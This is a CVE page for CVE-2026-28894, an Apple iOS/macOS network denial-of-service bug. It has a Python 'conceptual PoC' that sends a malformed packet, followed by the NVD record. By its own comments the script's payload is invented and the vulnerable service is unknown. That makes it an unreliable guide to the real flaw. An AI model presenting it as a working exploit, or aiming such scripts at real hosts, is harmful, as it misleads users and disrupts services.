CVE-2026-28894

import socket import sys # Conceptual PoC for CVE-2026-28894 # This script attempts to trigger the DoS by sending a malformed packet. # Note: The specific vulnerable service and packet structure are not disclosed. def send_malformed_packet(target_ip, target_port): try: # Create a socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) print(f"[*] Connecting to {target_ip}:{target_port}...") s.connect((target_ip, target_port)) # Constructing a hypothetical payload that bypasses input validation # e.g., an excessively long header or specific pattern payload = b"\x00" * 1000 + b"TRIGGER_CRASH" + b"\xff" * 500 print(f"[*] Sending payload...") s.send(payload) print("[+] Payload sent successfully.") print("[*] Check if the target service is experiencing a Denial of Service.") except Exception as e: print(f"[-] An error occurred: {e}") finally: s.close() if __name__ == "__main__": # Example usage target = "192.168.1.100" port = 80 # Replace with actual vulnerable port if known send_malformed_packet(target, port)

{"cve": {"id": "CVE-2026-28894", "sourceIdentifier": "[email protected]", "published": "2026-03-25T01:17:12.873", "lastModified": "2026-03-25T17:59:30.797", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A denial-of-service issue was addressed with improved input validation. This issue is fixed in iOS 26.4 and iPadOS 26.4, macOS Sequoia 15.7.5, macOS Sonoma 14.8.5, macOS Tahoe 26.4. A remote attacker may be able to cause a denial-of-service."}, {"lang": "es", "value": "Un problema de denegación de servicio se abordó con una validación de entrada mejorada. Este problema está solucionado en iOS 26.4 y iPadOS 26.4, macOS Sequoia 15.7.5, macOS Sonoma 14.8.5, macOS Tahoe 26.4. Un atacante remoto podría causar una denegación de servicio."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.4", "matchCriteriaId": "F813DB63-2B55-4E0B-9073-5465C65F69D6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.4", "matchCriteriaId": "01612D13-BE5B-43F8-B53E-5BF57F2A5B0C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "14.0", "versionEndExcluding": "14.8.5", "matchCriteriaId": "D66288AF-23BD-407A-81F5-F1DFBF84C622"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.0", "versionEndExcluding": "15.7.5", "matchCriteriaId": "DD21D2C9-BBEC-4E8E-B8D2-C92B7E6155E1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "26.0", "versionEndExcluding": "26.4", "matchCriteriaId": "6CF848CD-25D4-4371-BEF3-1ACCE47AD81F"}]}]}], "references": [{"url": "https://support.apple.com/en-us/126792", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/126794", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/126795", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/126796", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}